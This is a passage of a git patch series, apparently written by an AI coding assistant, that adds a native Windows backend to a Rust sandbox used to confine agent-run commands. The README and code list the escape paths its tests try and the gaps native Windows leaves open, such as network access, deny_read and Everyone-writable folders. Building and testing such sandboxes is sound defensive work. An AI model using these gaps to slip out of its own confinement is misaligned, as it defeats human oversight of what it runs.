-qq && sudo apt-get install -y -qq build-essential pkg-config +fi +if ! command -v cargo >/dev/null 2>&1 && [ ! -x "$HOME/.cargo/bin/cargo" ]; then + echo "sbx setup: installing Rust (rustup, minimal profile)" + curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal +fi +[ -f "$HOME/.cargo/env" ] && . "$HOME/.cargo/env" +# Build outside /mnt/c: the Windows drive is slow from WSL. +export CARGO_TARGET_DIR="$HOME/.cache/sbx-target" +cargo build --release --locked -p incord-sandbox --manifest-path "$REPO/Cargo.toml" +install -D -m 755 "$CARGO_TARGET_DIR/release/sbx" "$HOME/.local/bin/sbx" +echo "sbx setup: installed $HOME/.local/bin/sbx" +'@ +& wsl.exe -d $Distro -e bash -c $build sbx-setup "$repoInWsl" +if ($LASTEXITCODE -ne 0) { throw "Building sbx inside WSL2 failed (exit $LASTEXITCODE)." } + +# --- 3. sbx.exe on Windows ---------------------------------------------------- +$bin = Join-Path $env:USERPROFILE ".local\bin" +New-Item -ItemType Directory -Force -Path $bin | Out-Null +if (Get-Command cargo -ErrorAction SilentlyContinue) { + Say "Building sbx.exe ..." + & cargo build --release --locked -p incord-sandbox + if ($LASTEXITCODE -ne 0) { throw "Building sbx.exe failed." } + Copy-Item -Force (Join-Path $repo "target\release\sbx.exe") $bin +} else { + Say "Rust is not installed on Windows, so sbx.exe was not built." + Say "Install it from https://rustup.rs and run this script again." + exit 1 +} +$userPath = [Environment]::GetEnvironmentVariable("Path", "User") +if (-not ($userPath -split ';' | Where-Object { $_ -eq $bin })) { + [Environment]::SetEnvironmentVariable("Path", "$userPath;$bin", "User") + $env:Path = "$env:Path;$bin" + Say "Added $bin to your PATH (new terminals pick it up)." +} + +# --- 4. What is enforced -------------------------------------------------------- +if ($Distro -ne "Ubuntu") { $env:SBX_WSL_DISTRO = $Distro } +Say "Checking the sandbox:" +& (Join-Path $bin "sbx.exe") doctor +Say "Done. 'sbx run -w . -- ' now runs sandboxed inside WSL2." +if ($Distro -ne "Ubuntu") { + Say "Set SBX_WSL_DISTRO=$Distro in your environment so sbx.exe uses it." +} From 8c93ac10c76dfcc0f2cb1355331ca2cec88d6398 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 15:05:11 +0000 Subject: [PATCH 05/12] sandbox: native Windows backend (restricted token, ACL grants, job objects) Ported from incode's own src/sandbox/windows.rs and windows/acl.rs (left unchanged), without its incode-only dependencies. Enforced natively on Windows: - writes: the helper starts the command under a write-restricted token whose restricting SIDs are a private per-run SID, Everyone and the logon SID; the parent grants that SID one inheritable Modify ACE on each writable root and the run's private temp dir before the run, and a lease revokes it after (records in %LOCALAPPDATA%\sbx\grants; a crashed run's ACE is swept by the next). read-only grants only the temp dir. Drive roots and folders holding the profile are refused. - lifetime and limits: the command starts suspended inside a job object with KILL_ON_JOB_CLOSE; the job dies when the command ends, at the wall limit (the parent kills the helper) or when sbx dies (the helper watches it). memory_mb -> per-process committed memory, cpu_secs -> per-process user time. - environment, as everywhere; programs found on PATH/PATHEXT, never the current folder; 32-bit exit codes passed through. Not enforced natively (reported NotEnforced, refused in strict mode): network deny/proxy (no token restricts it), deny_read (restricting SIDs only gate writes), file_size_mb and open_files (no job equivalent), anywhere Everyone may write. Git Bash/msys cannot start under the token. sbx.exe picks a backend with SBX_BACKEND=native|wsl|auto (default auto; SBX_NATIVE=1 still means native): auto runs natively when native enforces the whole policy, forwards to WSL2 when it can't and WSL is set up, and otherwise refuses naming both fixes. sbx doctor reports both. sbx mcp runs natively with --net allow (scripts default to PowerShell there). Nothing here has run on Windows yet: it is checked with clippy for x86_64-pc-windows-gnu, its pure parts are unit-tested on Linux, and tests/escape_windows.rs is for the windows-latest CI runner. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- Cargo.lock | 1 + crates/sandbox/Cargo.toml | 14 + crates/sandbox/README.md | 132 ++++- crates/sandbox/src/backend.rs | 188 +++++++ crates/sandbox/src/env.rs | 8 + crates/sandbox/src/lib.rs | 124 ++++- crates/sandbox/src/limits.rs | 92 ++++ crates/sandbox/src/main.rs | 185 ++++++- crates/sandbox/src/server.rs | 161 +++++- crates/sandbox/src/windows/acl.rs | 385 ++++++++++++++ crates/sandbox/src/windows/helper.rs | 294 +++++++++++ crates/sandbox/src/windows/mod.rs | 682 +++++++++++++++++++++++++ crates/sandbox/src/windows/token.rs | 214 ++++++++ crates/sandbox/tests/escape_windows.rs | 565 ++++++++++++++++++++ 14 files changed, 2962 insertions(+), 83 deletions(-) create mode 100644 crates/sandbox/src/backend.rs create mode 100644 crates/sandbox/src/windows/acl.rs create mode 100644 crates/sandbox/src/windows/helper.rs create mode 100644 crates/sandbox/src/windows/mod.rs create mode 100644 crates/sandbox/src/windows/token.rs create mode 100644 crates/sandbox/tests/escape_windows.rs diff --git a/Cargo.lock b/Cargo.lock index 8e8acfd..e8a1a0d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2049,6 +2049,7 @@ dependencies = [ "serde_json", "tempfile", "toml", + "windows-sys 0.61.2", ] [[package]] diff --git a/crates/sandbox/Cargo.toml b/crates/sandbox/Cargo.toml index 83c6a04..c0928c9 100644 --- a/crates/sandbox/Cargo.toml +++ b/crates/sandbox/Cargo.toml @@ -25,6 +25,20 @@ toml = "1" [target.'cfg(unix)'.dependencies] libc = "0.2" +# The native Windows sandbox (`src/windows`): a write-restricted token, an +# ACE per writable root, and a job object. The same version and features incode +# itself already resolves (windows-sys 0.61.2 is in Cargo.lock), so nothing new +# is downloaded or linked. +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.61", features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Security_Authorization", + "Win32_System_Console", + "Win32_System_JobObjects", + "Win32_System_Threading", +] } + [target.'cfg(target_os = "linux")'.dependencies] landlock = "=0.4.7" diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md index 8cc6b47..4044cad 100644 --- a/crates/sandbox/README.md +++ b/crates/sandbox/README.md @@ -57,18 +57,22 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. ## What is enforced, and how -| | Linux | macOS | Windows | +| | Linux | macOS | Windows (native) | |---|---|---|---| -| filesystem: write | Landlock (5.13+) | Seatbelt | **not yet** | -| filesystem: `deny_read` | Landlock | Seatbelt | **not yet** | -| network: `deny` | Landlock TCP (6.7+) + seccomp for every other socket | Seatbelt | **not yet** | -| network: `proxy` | Landlock: TCP only to the proxy's port; seccomp as for `deny` | Seatbelt: outbound only to the proxy | **not yet** | -| `.git/hooks`, `.git/config` | snapshotted, put back after the run | Seatbelt refuses the write | **not yet** | -| signals, abstract Unix sockets | Landlock scopes (6.12+): only within the sandbox | Seatbelt default | **not yet** | +| filesystem: write | Landlock (5.13+) | Seatbelt | write-restricted token + a per-run ACE on each root | +| filesystem: `deny_read` | Landlock | Seatbelt | **not enforced** (WSL2 does it) | +| network: `deny` | Landlock TCP (6.7+) + seccomp for every other socket | Seatbelt | **not enforced** (WSL2 does it) | +| network: `proxy` | Landlock: TCP only to the proxy's port; seccomp as for `deny` | Seatbelt: outbound only to the proxy | **not enforced** (WSL2 does it) | +| `.git/hooks`, `.git/config` | snapshotted, put back after the run | Seatbelt refuses the write | snapshotted, put back after the run | +| signals, abstract Unix sockets | Landlock scopes (6.12+): only within the sandbox | Seatbelt default | the token cannot open other processes for writing (measured by incode) | | Windows programs (inside WSL2) | interop interpreter and sockets hidden, `WSL_INTEROP` removed, vsock refused | n/a | n/a | -| limits | `setrlimit` + wall clock; no core dumps | `setrlimit` + wall clock; no core dumps | wall clock | +| limits | `setrlimit` + wall clock; no core dumps | `setrlimit` + wall clock; no core dumps | job object: wall clock, CPU and committed memory per process; **no** `file_size_mb`, `open_files` | | environment | yes | yes | yes | +On Windows, `sbx.exe` runs natively when native enforces the whole policy, +and forwards it to the Linux `sbx` inside WSL2 when it doesn't (see +[Windows](#windows-native-or-wsl2)). + - **Every process it starts.** The confinement is applied in a helper process just before it execs the command. Children inherit it, and it can't be widened again (`no_new_privs` is set). @@ -164,10 +168,85 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. during the run would execute if someone ran git in that workspace before the run ended. -## Windows: run it inside WSL2 +## Windows: native, or WSL2 + +`sbx.exe` has two backends, picked per run by `SBX_BACKEND`: -On Windows the sandbox is the Linux one, running inside WSL2: Landlock, -seccomp, the git protection and `sbx mcp` all apply unchanged. +| `SBX_BACKEND` | what runs | +|---|---| +| `auto` (default) | natively when native enforces everything the policy asks for; otherwise in WSL2 when it is set up; otherwise refused, naming both ways forward | +| `native` | always natively; what it can't enforce is refused (strict) or reported (`--best-effort`) | +| `wsl` | always the Linux `sbx` inside WSL2 | + +`SBX_NATIVE=1`, the older switch, still means `native`. `sbx doctor` shows +what native enforces and whether WSL2 forwarding is available. + +So a policy that confines files, environment and time runs natively, and +one that asks for `network: deny`/`proxy` or `deny_read` goes to WSL2. +`sbx mcp` follows the same rule from its ceilings: with `--net allow` it +runs natively, with `--net deny` (its default) or `proxy` in WSL2. + +### Native + +Ported from incode's own Windows sandbox, whose authors measured it on +Windows. **This crate's port has not run on Windows yet:** its tests +(`tests/escape_windows.rs`) run on the `windows-latest` CI runner. + +- **Writes.** The command runs under a *write-restricted token*: it reads + anything its user can, but writes only where the user may **and** one of + the token's restricting SIDs is granted. Those are a private SID made for + this run, `Everyone` (so `> NUL` works) and the logon SID (so the command + can start). The run's SID is granted `Modify`, as one inheritable ACE, on + each writable root and on the run's private temp directory, and nowhere + else. `read-only` grants only the temp directory. +- **The grant is per run.** Before the command starts, the ACE is added to + each root; after it exits, it is removed. NTFS writes an inherited ACE into + every object beneath a root, so this takes time in proportion to the tree + (incode measured about 2.5 s each way on 18,673 files). No file's contents + or modification time change, and incode found the tree's ACLs + byte-identical afterwards. A grant is written down first + (`%LOCALAPPDATA%\sbx\grants`). If `sbx` crashes, the next run removes + the ACE it left. A drive root and any folder holding your user profile + are refused as roots. +- **Everything it starts.** The command starts suspended, goes into a job + object, and only then runs. Everything it starts is in the job too and + cannot leave it. The job is killed when the command exits, at the + wall-clock limit, or when `sbx` itself dies. So on Windows nothing the + command started outlives the run, even without a time limit. +- **Limits.** `memory_mb` caps the memory each process *commits* (an + allocation beyond it fails), which is not quite `RLIMIT_AS`. `cpu_secs` + caps each process's user-mode CPU time. `file_size_mb` and `open_files` + have no Windows equivalent: asking for them is reported not enforced. + (`sbx mcp` sets no file size limit on Windows for this reason.) +- **Programs.** The program is found on `PATH` with `PATHEXT`, never in the + current folder, so a `cmd.exe` planted in the workspace is not picked up. + A `.bat`/`.cmd` runs through `cmd.exe /d`, so `cmd` parses its arguments. +- **Exit codes** are passed through whole (32 bits). + +**Not enforced natively, and why:** +- **Network.** No token restricts the network (incode measured TCP, HTTP and + HTTPS all working under it). Only an AppContainer does, and an AppContainer + reads only what is granted to it: the workspace, your toolchains, your + profile. `deny` and `proxy` go to WSL2 (`auto`) or are refused (`native`). +- **`deny_read`.** A write-restricted token checks its restricting SIDs only + for writes, so no ACE can hide a path from the sandbox alone. Denying your + own SID would hide it from you everywhere. A fully restricted token would + need everything a toolchain reads granted to it. So `deny_read` goes to + WSL2 (`auto`) or is refused (`native`). +- **Places `Everyone` may write** stay writable to the command, because + `Everyone` is one of the token's restricting SIDs. +- **Git Bash and every msys program** fail to start under the token: the + msys runtime maps a shared section the token may not map writable, and + dies with `CreateFileMapping ..., Win32 error 5` (measured by incode). + Use `cmd` or PowerShell natively, or `SBX_BACKEND=wsl` for a POSIX shell. + `sbx mcp` scripts default to PowerShell on Windows. +- **Grants are visible.** While a run lasts, every object under a root + carries the run's ACE, and the grant and revoke cost time on large trees. + +### WSL2 + +Inside WSL2 the sandbox is the Linux one: Landlock, seccomp, the git +protection and `sbx mcp` all apply unchanged. **Setup, once** (PowerShell, from the incode folder): @@ -182,20 +261,18 @@ It: 3. builds `sbx.exe` and adds it to your PATH; 4. runs `sbx doctor`. -**`sbx.exe` forwards into WSL2.** -- Every command it gets (`run`, `check`, `doctor`, `mcp`) is passed to the - Linux `sbx` with `wsl.exe`, from the same folder. +**How `sbx.exe` forwards.** +- The command (`run`, `check`, `mcp`; `doctor` too under `SBX_BACKEND=wsl`) + is passed to the Linux `sbx` with `wsl.exe`, from the same folder. - Paths are translated: `C:\work\app` becomes `/mnt/c/work/app`, and `\\wsl$\Ubuntu\home\me` becomes `/home/me`. - Output, input and the exit code pass straight through, so `sbx mcp` works for agents on Windows too. - **Choosing a distribution:** `SBX_WSL_DISTRO` picks one other than the default. -- **Without WSL:** `sbx.exe` refuses with the setup steps instead of running - unconfined. `SBX_NATIVE=1` runs natively anyway, with only the - environment and time limit, and files and network not confined. - **Windows environment variables don't reach WSL** unless listed in `WSLENV` (for example `WSLENV=ANTHROPIC_API_KEY`). +- The command must exist inside WSL (`python3`, not `python.exe`). WSL2 adds one way out that plain Linux doesn't have: starting a Windows program (`cmd.exe`, `powershell.exe`, any `.exe` under `/mnt/c`), which @@ -246,9 +323,9 @@ Codex, incode, or your own. | Tool | What it does | |---|---| -| `sandbox_create` | A private folder. Network `deny` unless the agent asks for `proxy` with hosts (or `allow`) within the server's limits. | +| `sandbox_create` | A private folder. Network `deny` unless the agent asks for `proxy` with hosts (or `allow`) within the server's limits. Natively on Windows only `allow` can be enforced, and asking for anything else is refused at once, saying so. | | `sandbox_write_file` | Write a script or file, creating folders; `executable` sets 755. | -| `sandbox_run` | Run `command` (argv) or `script` (text, run with `interpreter`, default `sh`) with optional `stdin`, `cwd` and `timeout_secs`. Returns `exit_code`, `stdout`, `stderr` (64 KB each), `timed_out` and `network_refused`. | +| `sandbox_run` | Run `command` (argv) or `script` (text, run with `interpreter`, default `sh`; PowerShell natively on Windows) with optional `stdin`, `cwd` and `timeout_secs`. Returns `exit_code`, `stdout`, `stderr` (64 KB each), `timed_out` and `network_refused`. | | `sandbox_read_file` / `sandbox_list` | Read results back (256 KB at most). | | `sandbox_info` | The folder, network and limits, and what this machine enforces. | | `sandbox_destroy` | Delete it. | @@ -262,7 +339,8 @@ By default every sandbox gets: - no network; - an empty environment apart from `PATH`, `HOME` and the other essentials, so no host secrets; -- 4 GB of memory and 1 GB files per process; +- 4 GB of memory and 1 GB files per process (no file size limit natively + on Windows, which cannot enforce one); - 120 seconds a run (at most 600). Every run is confined to its sandbox's folder. When a run ends, everything @@ -299,7 +377,10 @@ holds the proxy and the temp directory. `cargo test -p incord-sandbox` runs: - `tests/mcp.rs`: `sbx mcp` driven over stdio like an agent drives it. It writes a script, runs it and reads its result; tries escapes (writing outside, the network, host secrets, a planted symlink, `..`, absolute paths); checks the time limit and background cleanup, the limits on what an agent may ask for, and that sandboxes are removed on exit; -- the unit tests (policy, environment, allowlist, Seatbelt profile); +- the unit tests (policy, environment, allowlist, Seatbelt profile, and the + Windows backend's pure parts on every platform: backend choice, SID and + record handling, root checks, program lookup, command-line quoting, job + limits, what each status reports); - on Linux, escape tests through the real binary: writes outside the root, symlinks, hard links, renames, `/proc/self/root`, child processes, reading a hidden path, connecting and binding under `deny`, UDP and raw sockets @@ -307,7 +388,14 @@ holds the proxy and the temp directory. `SIGKILL` cleanup, limits and exit codes; - on macOS, the same escapes against Seatbelt where they apply (writes, symlinks, children, read-only, `deny_read`, TCP under `deny`, the proxy, - the environment, the wall limit). + the environment, the wall limit); +- on Windows (`tests/escape_windows.rs`, with only `cmd` and PowerShell): + writes outside the root, the grant held during the run and gone after, + read-only and its private temp, child `cmd` and PowerShell, a planted + program in the current folder, the wall limit and killing `sbx` taking + the whole tree, the job's memory and CPU limits, the environment, exit + codes, refusing what native can't enforce, `auto` without WSL, `doctor`, + and `sbx mcp` run natively. Each escape test skips, and says so, on a kernel that cannot enforce what it checks. diff --git a/crates/sandbox/src/backend.rs b/crates/sandbox/src/backend.rs new file mode 100644 index 0000000..8050b70 --- /dev/null +++ b/crates/sandbox/src/backend.rs @@ -0,0 +1,188 @@ +//! On Windows, where a command runs: natively, or forwarded into WSL2. +//! +//! Native Windows confines writes (a write-restricted token), the +//! environment and the limits a job object can carry, but not the network +//! and not `deny_read` ([`crate::windows`]). WSL2 runs the Linux sandbox, +//! which enforces all of it, at the price of a Linux userland: the command +//! must exist inside WSL, and paths are translated. So `sbx.exe` picks per +//! invocation, from `SBX_BACKEND`: +//! +//! - `native`: always natively. What native cannot enforce is refused +//! (strict) or reported (`--best-effort`), as on every platform. +//! - `wsl`: always forwarded to the Linux `sbx` inside WSL2. +//! - `auto` (the default): natively when native enforces everything the +//! policy asks for; otherwise forwarded to WSL2 when it is set up; +//! otherwise refused, with both ways forward named, unless `--best-effort` +//! accepts running natively with less. +//! +//! `SBX_NATIVE=1`, the older switch, still means `native`. +//! +//! The choice is a pure function of the policy's gaps and whether WSL is +//! ready, so it is tested on every platform. + +/// Which backend was asked for. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum Backend { + Native, + Wsl, + Auto, +} + +/// What to do with this invocation. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Choice { + Native, + Wsl, + /// Neither can run it as asked; the message says why and what to do. + Refuse(String), +} + +/// How to set up WSL forwarding, for messages. +pub const WSL_SETUP: &str = "set up WSL2 forwarding once (PowerShell, from the incode folder): \ + powershell -ExecutionPolicy Bypass -File scripts\\install-windows.ps1"; + +impl Backend { + /// The backend from the environment: `SBX_BACKEND`, else `SBX_NATIVE` + /// (any non-empty value but `0` means native), else `auto`. + /// + /// # Errors + /// When `SBX_BACKEND` names no backend: a typo must not silently pick one. + pub fn from_env(var: impl Fn(&str) -> Option) -> Result { + if let Some(v) = var("SBX_BACKEND").filter(|v| !v.trim().is_empty()) { + return match v.trim().to_ascii_lowercase().as_str() { + "native" => Ok(Self::Native), + "wsl" => Ok(Self::Wsl), + "auto" => Ok(Self::Auto), + other => Err(format!( + "SBX_BACKEND=`{other}` is not a backend (native | wsl | auto)" + )), + }; + } + match var("SBX_NATIVE") { + Some(v) if !v.is_empty() && v != "0" => Ok(Self::Native), + _ => Ok(Self::Auto), + } + } + + #[must_use] + pub fn as_str(self) -> &'static str { + match self { + Self::Native => "native", + Self::Wsl => "wsl", + Self::Auto => "auto", + } + } +} + +/// Where to run, given the backend asked for, what native Windows would NOT +/// enforce of the policy (`native_gaps`, as [`crate::Enforcement::gaps`] +/// words them), whether gaps were accepted (`--best-effort`), and whether +/// WSL forwarding is ready (asked only when it matters, since asking starts +/// WSL: `Ok` or the reason it is not). +pub fn choose( + backend: Backend, + native_gaps: &[String], + best_effort: bool, + wsl_ready: impl FnOnce() -> Result<(), String>, +) -> Choice { + match backend { + Backend::Native => Choice::Native, + Backend::Wsl => Choice::Wsl, + Backend::Auto if native_gaps.is_empty() => Choice::Native, + Backend::Auto => match wsl_ready() { + Ok(()) => Choice::Wsl, + Err(_) if best_effort => Choice::Native, + Err(why) => Choice::Refuse(format!( + "this policy asks for what native Windows cannot enforce:\n {}\n\ + and WSL2 forwarding, which would, is not available ({why}).\n\ + Either {WSL_SETUP} (sbx then forwards such policies there by itself), \ + or drop those parts of the policy (or accept them unenforced with \ + --best-effort).", + native_gaps.join("\n ") + )), + }, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn env<'a>(pairs: &'a [(&'a str, &'a str)]) -> impl Fn(&str) -> Option + 'a { + move |k| { + pairs + .iter() + .find(|(n, _)| *n == k) + .map(|(_, v)| (*v).to_string()) + } + } + + #[test] + fn the_backend_comes_from_sbx_backend_then_sbx_native() { + assert_eq!(Backend::from_env(env(&[])), Ok(Backend::Auto)); + assert_eq!( + Backend::from_env(env(&[("SBX_BACKEND", "WSL")])), + Ok(Backend::Wsl) + ); + assert_eq!( + Backend::from_env(env(&[("SBX_BACKEND", "native")])), + Ok(Backend::Native) + ); + assert_eq!( + Backend::from_env(env(&[("SBX_NATIVE", "1")])), + Ok(Backend::Native) + ); + assert_eq!( + Backend::from_env(env(&[("SBX_NATIVE", "0")])), + Ok(Backend::Auto) + ); + // SBX_BACKEND wins over the older switch. + assert_eq!( + Backend::from_env(env(&[("SBX_BACKEND", "auto"), ("SBX_NATIVE", "1")])), + Ok(Backend::Auto) + ); + assert!(Backend::from_env(env(&[("SBX_BACKEND", "wls")])).is_err()); + } + + #[test] + fn auto_runs_natively_when_native_enforces_everything_and_never_asks_wsl() { + let choice = choose(Backend::Auto, &[], false, || { + panic!("WSL must not be started when native suffices") + }); + assert_eq!(choice, Choice::Native); + } + + #[test] + fn auto_forwards_what_native_cannot_enforce_to_wsl_when_ready() { + let gaps = vec!["network: NOT ENFORCED - no token restricts the network".to_string()]; + assert_eq!(choose(Backend::Auto, &gaps, false, || Ok(())), Choice::Wsl); + assert_eq!(choose(Backend::Auto, &gaps, true, || Ok(())), Choice::Wsl); + } + + #[test] + fn auto_refuses_naming_both_fixes_when_wsl_is_not_there() { + let gaps = vec!["filesystem: NOT ENFORCED - deny_read".to_string()]; + let Choice::Refuse(why) = choose(Backend::Auto, &gaps, false, || { + Err("wsl.exe was not found".into()) + }) else { + panic!("must refuse"); + }; + assert!(why.contains("deny_read"), "{why}"); + assert!(why.contains("wsl.exe was not found"), "{why}"); + assert!(why.contains("install-windows.ps1"), "{why}"); + assert!(why.contains("--best-effort"), "{why}"); + // Best effort accepts the gaps and runs natively. + assert_eq!( + choose(Backend::Auto, &gaps, true, || Err("no".into())), + Choice::Native + ); + } + + #[test] + fn an_explicit_backend_is_obeyed_without_asking_wsl() { + let gaps = vec!["network: NOT ENFORCED".to_string()]; + let never = || -> Result<(), String> { panic!("not asked") }; + assert_eq!(choose(Backend::Native, &gaps, false, never), Choice::Native); + assert_eq!(choose(Backend::Wsl, &[], false, never), Choice::Wsl); + } +} diff --git a/crates/sandbox/src/env.rs b/crates/sandbox/src/env.rs index 6371cc3..d62a31f 100644 --- a/crates/sandbox/src/env.rs +++ b/crates/sandbox/src/env.rs @@ -65,6 +65,7 @@ pub const ESSENTIAL: &[&str] = &[ "TZ", // Windows: the loader, the shell and the profile directories. "SYSTEMROOT", + "SYSTEMDRIVE", "WINDIR", "COMSPEC", "PATHEXT", @@ -73,6 +74,13 @@ pub const ESSENTIAL: &[&str] = &[ "LOCALAPPDATA", "PROGRAMDATA", "PROGRAMFILES", + "PROGRAMFILES(X86)", + "PROGRAMW6432", + "COMMONPROGRAMFILES", + // Windows: what runtimes (.NET, PowerShell, compilers) read to size + // themselves for the machine. No secrets. + "PROCESSOR_ARCHITECTURE", + "NUMBER_OF_PROCESSORS", ]; /// Whether `name` matches `pattern`: exact, or a prefix when the pattern ends diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index 0d9e627..e5110f4 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -19,9 +19,12 @@ //! ``` //! //! On macOS the helper runs under `sandbox-exec` with a generated Seatbelt -//! profile instead of Landlock. The helper is the calling binary re-executed -//! with a private first argument, so a program that embeds this library must -//! call [`enter_if_requested`] first thing in `main`. +//! profile instead of Landlock. On Windows, which has no `exec`, the parent +//! grants the writable roots to a private per-run SID first, and the helper +//! starts the command under a write-restricted token, in a job object, and +//! stays to supervise it (see [`windows`]). The helper is the calling binary +//! re-executed with a private first argument, so a program that embeds this +//! library must call [`enter_if_requested`] first thing in `main`. //! //! # Platforms //! @@ -29,8 +32,9 @@ //! |---|---|---|---| //! | Linux | Landlock (5.13+) | Landlock TCP (6.7+) + seccomp | setrlimit + wall | //! | macOS | Seatbelt | Seatbelt | setrlimit + wall | -//! | Windows | not yet (see incode's ACL sandbox) | not yet | wall only | +//! | Windows | write-restricted token + ACL grant (writes only; no `deny_read`) | not enforced (WSL2: see [`backend`]) | job object + wall | +pub mod backend; pub mod env; pub mod limits; pub mod policy; @@ -40,6 +44,8 @@ pub mod seatbelt; pub mod server; pub mod wslpath; +pub mod windows; + #[cfg(target_os = "linux")] mod linux; #[cfg(target_os = "linux")] @@ -150,6 +156,14 @@ pub struct EnterSpec { /// SIGKILL, which nothing can forward) the whole group dies with it. #[serde(default)] pub supervise: bool, + /// Windows: the run's private SID, granted on its writable roots and + /// temp directory; the helper restricts the command's token to it. + #[serde(default)] + pub sid: Option, + /// Windows: the parent's process id. The helper watches it and ends the + /// command's job if the parent dies (there is no parent-death signal). + #[serde(default)] + pub parent_pid: Option, } /// Call first thing in `main` of any program that embeds this library. When @@ -208,9 +222,9 @@ fn enter(args: &[OsString]) -> Result { .get(2) .ok_or_else(|| sandbox_err("helper started without a command"))?; let program_args = &args[3..]; - // Nothing in the spec is enforced by the helper off Unix yet: the parent - // already refused (strict) or reported (best effort) every gap. - #[cfg(not(unix))] + // Off Unix and Windows nothing in the spec is enforced by the helper: the + // parent already refused (strict) or reported (best effort) every gap. + #[cfg(not(any(unix, windows)))] let _ = &spec; // If the parent dies (SIGKILL included, which nothing can forward), the @@ -280,6 +294,16 @@ fn enter(args: &[OsString]) -> Result { if spec.supervise { supervise(program, program_args, parent); } + // No exec on Windows: the helper starts the command confined, in a job, + // and stays to pass its exit code on. + #[cfg(windows)] + { + match windows::enter(&spec, program, program_args) { + Ok(code) => std::process::exit(code), + Err((message, code)) => Err(EnterError { message, code }), + } + } + #[cfg(not(windows))] exec(program, program_args) } @@ -355,9 +379,9 @@ fn exec(program: &OsString, args: &[OsString]) -> Result { }) } -#[cfg(not(unix))] +#[cfg(not(any(unix, windows)))] fn exec(program: &OsString, args: &[OsString]) -> Result { - // No exec on Windows: run it and pass its exit code on. + // No exec here: run it and pass its exit code on. let status = Command::new(program) .args(args) .status() @@ -384,6 +408,11 @@ pub struct Sandbox { /// temp directory. Dropped after the command exits. pub struct Guard { proxy: Option, + /// Windows: the run's ACL grant on its roots and temp directory, revoked + /// when dropped. Declared before `temp` so it drops first, while the + /// temp directory still exists to be revoked. + #[cfg(windows)] + _lease: Option, temp: TempDir, pub enforcement: Enforcement, protected: Option, @@ -532,7 +561,29 @@ impl Sandbox { && self.policy.fs.protect_git) .then(|| protect::Snapshot::take(protect::git_paths(&roots))); let temp = TempDir::new()?; - let own_group = self.policy.limits.wall_secs.is_some() && !stdin_is_terminal(); + // Windows has no process groups: the helper's job object does that. + let own_group = + cfg!(unix) && self.policy.limits.wall_secs.is_some() && !stdin_is_terminal(); + // Windows: grant the writable roots and the temp directory to a + // private SID for this run, before the helper restricts the + // command's token to it. A grant that fails refuses the run in + // strict mode; best effort runs it with the writes unconfined, and + // says so. + #[cfg(windows)] + let lease = if self.policy.fs.mode == FsMode::Off { + None + } else { + let mut grant = roots.clone(); + grant.push(temp.path.clone()); + match windows::acl::Lease::acquire(&grant) { + Ok(lease) => Some(lease), + Err(e) if self.strict => return Err(e), + Err(e) => { + eprintln!("sbx: writes not confined (best effort): {e}"); + None + } + } + }; let proxy = if self.policy.network.mode == NetMode::Proxy { let allowlist = proxy::Allowlist::new( @@ -572,6 +623,11 @@ impl Sandbox { limits: self.policy.limits.clone(), strict: self.strict, supervise: own_group, + #[cfg(windows)] + sid: lease.as_ref().map(|l| l.sid().to_string()), + #[cfg(not(windows))] + sid: None, + parent_pid: Some(std::process::id()), }; let helper = match &self.helper { Some(h) => h.clone(), @@ -596,6 +652,8 @@ impl Sandbox { cmd, Guard { proxy, + #[cfg(windows)] + _lease: lease, temp, enforcement, protected, @@ -748,11 +806,26 @@ fn kill_group(pid: u32) { let _ = pid; } +/// `path` as commands expect to see it. On Windows `canonicalize` returns +/// `\\?\C:\...`, which `cmd.exe` refuses as a working folder and which +/// does not accept `/`; this gives back `C:\...`. Elsewhere, unchanged. +#[must_use] +pub fn plain_path(path: PathBuf) -> PathBuf { + #[cfg(windows)] + { + PathBuf::from(windows::strip_verbatim(&path.to_string_lossy())) + } + #[cfg(not(windows))] + { + path + } +} + /// The enforcement of `policy` on this machine. #[must_use] pub fn enforcement(policy: &Policy) -> Enforcement { Enforcement { - filesystem: fs_status(policy.fs.mode), + filesystem: fs_status(&policy.fs), network: net_status(policy.network.mode), limits: limits::status(&policy.limits), environment: Status::Enforced(environment_summary(&policy.env)), @@ -778,8 +851,8 @@ fn environment_summary(e: &policy::Env) -> String { } #[cfg(target_os = "linux")] -fn fs_status(mode: FsMode) -> Status { - match linux::fs_status(mode) { +fn fs_status(fs: &policy::Fs) -> Status { + match linux::fs_status(fs.mode) { Status::Enforced(how) if wsl::detected() => Status::Enforced(format!( "{how}; WSL: starting Windows programs is blocked (interop interpreter and \ sockets hidden, WSL_INTEROP removed, vsock refused)" @@ -789,8 +862,8 @@ fn fs_status(mode: FsMode) -> Status { } #[cfg(target_os = "macos")] -fn fs_status(mode: FsMode) -> Status { - match mode { +fn fs_status(fs: &policy::Fs) -> Status { + match fs.mode { FsMode::Off => Status::NotRequested, _ if Path::new(seatbelt::SANDBOX_EXEC).exists() => { Status::Enforced("Seatbelt (sandbox-exec)".into()) @@ -799,9 +872,14 @@ fn fs_status(mode: FsMode) -> Status { } } -#[cfg(not(any(target_os = "linux", target_os = "macos")))] -fn fs_status(mode: FsMode) -> Status { - match mode { +#[cfg(windows)] +fn fs_status(fs: &policy::Fs) -> Status { + windows::fs_status(fs) +} + +#[cfg(not(any(target_os = "linux", target_os = "macos", windows)))] +fn fs_status(fs: &policy::Fs) -> Status { + match fs.mode { FsMode::Off => Status::NotRequested, _ => { Status::NotEnforced("no filesystem sandbox is implemented for this platform yet".into()) @@ -826,7 +904,12 @@ fn net_status(mode: NetMode) -> Status { } } -#[cfg(not(any(target_os = "linux", target_os = "macos")))] +#[cfg(windows)] +fn net_status(mode: NetMode) -> Status { + windows::net_status(mode) +} + +#[cfg(not(any(target_os = "linux", target_os = "macos", windows)))] fn net_status(mode: NetMode) -> Status { match 